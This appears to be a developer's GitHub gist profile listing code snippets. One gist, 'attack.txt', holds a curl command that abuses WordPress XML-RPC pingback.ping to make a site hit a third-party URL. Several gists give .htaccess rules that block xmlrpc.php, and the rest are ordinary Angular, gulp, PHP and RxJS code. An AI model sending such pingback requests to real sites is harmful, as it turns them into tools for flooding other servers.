Skip to content

Instantly share code, notes, and snippets.

View tieppt's full-sized avatar

Tiep Phan tieppt

View GitHub Profile
@tieppt
tieppt / attack.txt
Last active August 29, 2015 14:27
attack
curl http://www.site-wp.com/xmlrpc.php -d
'<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>
pingback.ping</methodName><params><param><value>
<string>http://attacked.site.com/link_to_post
</string></value></param><param><value><string>
http://www.site-wp.com/any_blog_post/
</string></value></param></params></methodCall>'
@tieppt
tieppt / protect-method-1.txt
Created August 15, 2015 07:20
protect xmlrpc return 403 Error when access this file.
# protect xmlrpc return 403 Error when access this file.
<IfModule mod_alias.c>
RedirectMatch 403 /xmlrpc.php
</IfModule>
@tieppt
tieppt / protect-method-2.txt
Created August 15, 2015 07:25
Redirect to specific page
# protect xmlrpc Redirect to specific page
<IfModule mod_alias.c>
Redirect 301 /xmlrpc.php http://homepage.com/
</IfModule>
@tieppt
tieppt / protect-method-3.txt
Created August 15, 2015 07:25
Deny all access to this file
# protect xmlrpc Deny all access to this file
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>
@tieppt
tieppt / protect-method-4.txt
Created August 15, 2015 07:26
Allow from list IP
# protect xmlrpc Allow from list IP
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
Allow from IP-1
Allow from IP-2
</Files>
<?php
//$arr = array(10, -1, 10, -1, 4, 5, 0);
$arr = array(-3, 0, -4);
$brr = array();
for($i = 0, $n = count($arr); $i < $n; ++$i) {
$a = abs($arr[$i]);
if ($a) {
$brr[] = $a;
}
}
import { AfterContentInit, ElementRef, EventEmitter, OnDestroy, Renderer } from '@angular/core';
import { ControlValueAccessor } from '@angular/forms';
import { Config } from '../../config/config';
import { Picker, PickerController } from '../picker/picker';
import { Form } from '../../util/form';
import { Ion } from '../ion';
import { Item } from '../item/item';
import { DateTimeData, LocaleData } from '../../util/datetime-util';
export declare const DATETIME_VALUE_ACCESSOR: any;
/**
@tieppt
tieppt / gulpfile.js
Created February 6, 2017 08:19
gulpfile.js configuration for scss project
var gulp = require('gulp');
var sass = require('gulp-sass');
var watch = require('gulp-watch');
var autoprefix = require('gulp-autoprefixer');
var del = require('del');
var sourcemaps = require('gulp-sourcemaps');
var flatten = require('gulp-flatten');
var gutil = require('gulp-util');
var FILES = {
@tieppt
tieppt / app.component.ts
Last active November 9, 2023 14:29
seo service Angular
import { Component } from '@angular/core';
import { SeoService } from 'path/to/seo.service';
@Component({
selector: 'app-root',
template: ``
})
export class AppComponent {
constructor(seoService: SeoService) {
@tieppt
tieppt / rx-event.ts
Last active April 29, 2017 11:31
Event Emitter with RxJS
import { Subject } from 'rxjs/Subject';
import { BehaviorSubject } from 'rxjs/BehaviorSubject';
import { Subscription } from 'rxjs/Subscription';
export default class RxEvent {
/**
* Hash map of subjects
* @type {Subject}
*/
private subjects: { [key: string]: Subject<any> } = {};